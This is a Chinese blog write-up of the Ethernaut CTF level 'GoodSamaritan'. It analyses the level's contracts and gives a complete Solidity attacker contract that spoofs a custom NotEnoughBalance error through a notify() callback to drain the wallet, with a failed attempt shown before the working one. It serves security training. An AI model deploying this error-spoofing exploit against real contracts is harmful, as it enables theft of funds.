[区块链安全-Ethernaut]附加GoodSamaritan解题思路
[区块链安全-Ethernaut]新题目GoodSamaritan解题思路
- 背景
- 目标合约分析
- 尝试一:失败的攻击
- 尝试二
- 总结
背景
说来也巧,Ethernaut上一篇刚完结,突然点开看到又更新了GoodSamaritan,我干脆单独列出来把。
目标合约分析
总共有三个合约互相作用,分别为GoodSamaritan
(慈善家,对外暴露捐款接口)、Coin
(慈善家通过钱包创建的代币合约)以及Wallet
(由慈善家所有)。本关卡的目的是获取到钱包里所有的余额。
核心代码如下:
contract GoodSamaritan {Wallet public wallet;Coin public coin;constructor() {wallet = new Wallet();coin = new Coin(address(wallet));wallet.setCoin(coin);}function requestDonation() external returns(bool enoughBalance){// donate 10 coins to requestertry wallet.donate10(msg.sender) {return true;} catch (bytes memory err) {if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {// send the coins leftwallet.transferRemainder(msg.sender);return false;}}}
}
在接受外部调用requestDonation
后,慈善家会通过wallet
的donate10
方法进一步调用coin
的transfer
实现10个代币的转账。合约中做了限定,那就是如果keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)
(即余额不足10个代币),就将剩下的都转给用户。
所以分析来看,我们的入口就在这里,否则10个10个来,那不得要等到猴年马月。那现在的问题就是要抛出NotEnoughBalance
。
在coin
的transfer
方法里,对目标地址作了校验,如果是合约,还会主动调用相关方法进行提醒。
function transfer(address dest_, uint256 amount_) external {uint256 currentBalance = balances[msg.sender];// transfer only occurs if balance is enoughif(amount_ <= currentBalance) {balances[msg.sender] -= amount_;balances[dest_] += amount_;if(dest_.isContract()) {// notify contract INotifyable(dest_).notify(amount_);}} else {revert InsufficientBalance(currentBalance, amount_);}}
我们不能指望wallet
去抛出NotEnoughBalance
,相反,考虑到coin
还与dest
有所交互,我们可以利用notify
方法在自己的合约中抛出NotEnoughBalance
。
尝试一:失败的攻击
说干就干,在remix里编写攻击合约,合约代码如下:
pragma solidity ^0.8.0;interface GoodSamaritan {function requestDonation() external returns(bool enoughBalance);
}contract Attacker {error NotEnoughBalance();constructor() public{}function attack(address _addr) public {GoodSamaritan(_addr).requestDonation();}function notify(uint256 amount) external {revert NotEnoughBalance();}}
部署合约后,通过attack
方法发起攻击,当notify
方法被transfer
所调用时,会主动revert
抛出自定义的NotEnoughBalance
。
可是,似乎没有通过。
我们进入debug_trace
界面,发现transferRemainder(address)
对应的0xe40b8658
selector的确被调用了。
但为什么还是失败了呢?
尝试二
原因是我们没有定义好notify
,导致在接受所有值时都直接抛出,这会使得最后的转账也失败了!修改notify
函数重新部署,仅当接受值为10以下时才抛出错误,这样就能“问心无愧”地接受大额代币了。
function notify(uint256 amount) external {if (amount <= 10){revert NotEnoughBalance();}}
重新部署,调用attack
函数。调用成功!
总结
这题重点还是要找到入口,找到了就容易了!
[区块链安全-Ethernaut]附加GoodSamaritan解题思路相关推荐
- [区块链安全-Ethernaut]区块链智能合约安全实战-已完结
[区块链安全-Ethernaut]区块链智能合约安全实战-已完结 准备 0. Hello Ethernaut 准备工作 创建实例并分析 合约交互 总结 1. Fallback 创建实例并分析 合约交互 ...
- 区块链与金融IT“联姻”的思路和方案
2017年是区块链的落地年,越来越多的银行经过了区块链的概念验证POC,不断将区块链技术应用到实际生产系统当中.尽管经过一定时间对区块链的研究和实践,很多银行科技团队已对区块链有比较深入的了解,但在实 ...
- 区块链开源实现hyperledger fabric架构详解
hyperledger fabric是区块链中联盟链的优秀实现,主要代码由IBM.Intel.各大银行等贡献,目前v1.1版的kafka共识方式可达到1000/s次的吞吐量.本文中我们依次讨论:区块链 ...
- [区块链安全-Damn-Vulnerable-DeFi]区块链DeFi智能合约安全实战-连载中
[区块链安全-Damn-Vulnerable-DeFi]区块链DeFi智能合约安全实战-连载中 前言 环境准备 1. unstoppable 任务分析 发起攻击 总结 2. Naive receive ...
- 区块链兼容以太坊智能合约
链客,专为开发者而生,有问必答! 此文章来自区块链技术社区,未经允许拒绝转载. 引言 随着区块链技术以及应用的普及,越来越多的区块链出现在大众视野中.由于区块链技术的开源特性,任何公司和个人都可以方便 ...
- 武汉区块链软件技术公司区块链将如何应用于会员生态系统?
武汉区块链软件技术公司区块链将如何应用于会员生态系统? 在现代商业商场中,客流是商业构成的根底.很多商业个体就期望经过"会员准则"绑定.稳定客流,无论哪项商业活动都需求更多的客流来 ...
- 万向和肖风的区块链版图
文丨互链脉搏·元尚 未经授权,不得转载! 万向和肖风的区块链版图到底有多大? 在9月14日至9月18日举办的"上海区块链国际周",以及"第五届区块链全球峰会"上 ...
- 流量矿石团队成员出席“区块链技术与金融领域创新应用培训会”
区块链技术与金融创新培训会 今日,流量矿石团队的Podsen等多位创始成员参与了由深圳市福田区投资推广署(金融发展事务署)主办.深圳市互联网金融协会承办.深圳市金融信息服务协会.能链众合.全景网络等单 ...
- 区块链智能资产的“硬链接”思考
比特币网络是一个去中心化的数字资产管理平台,它管理的数字资产就是比特币本身.因为比特币网络把比特币管理得如此之好,很多人就想到,能否用类似的机制来管理其他的资产呢?这个想法,几乎是每个学习区块链的人能 ...
最新文章
- 快速排序 c++_算法浅谈——分治算法与归并、快速排序(附代码和动图演示)
- php数组指针什么用,php数组指针用法详解
- 最重要的事情只有一件
- HDU5511 : Minimum Cut-Cut
- C语言判断某个字符串中 是否存在子字符串
- Calibre修改保存电子书为中文
- 将java类的泛型集合转换成json对象
- 经典游戏制作教程[zz]
- NV12等常用YUV数据格式
- ZipArchive实现中文压缩
- movielens1M数据处理
- 2022年10款好用免费数据恢复软件分享
- 如何在python同一行内输入若干个数?
- HTML5 canvas 拖尾效果(或尾巴 或方向标 或留痕。。。)
- AppleStore下载量查看
- 分布式架构优缺点以及设计
- 组合模式-Composite Pattern
- 抖音等多款软件涉代码抄袭,字节跳动被诉赔 22.74 亿元
- 一文读懂Docker、K8s
- python lib库_python标准库pathlib常见操作
热门文章
- 用友U9 UAP平台解析
- Silverlight/Windows8/WPF/WP7/HTML5周学习导读(10月29日-11月4日)
- 【历史上的今天】8 月 18 日:硅谷神话的衰落;微软发布 QuickBASIC;Adobe Audition 问世
- metasploit怎么用? 进阶(msfvenom=payloads+encoders)篇 (゚益゚メ) 渗透测试
- 世间所有,逃不过一个“缘”字
- 太酷了!金山云重磅开源鎏光云游戏引擎
- 实现浏览器多标签页通信
- linux视频对话框,抖音对话框视频怎么做?如何在视频画面上添加对话气泡框?视频加对话气泡的方法...
- Chrome插件安装失败,此扩展程序可能已损坏。
- 「系统介绍」简单介绍下PMS系统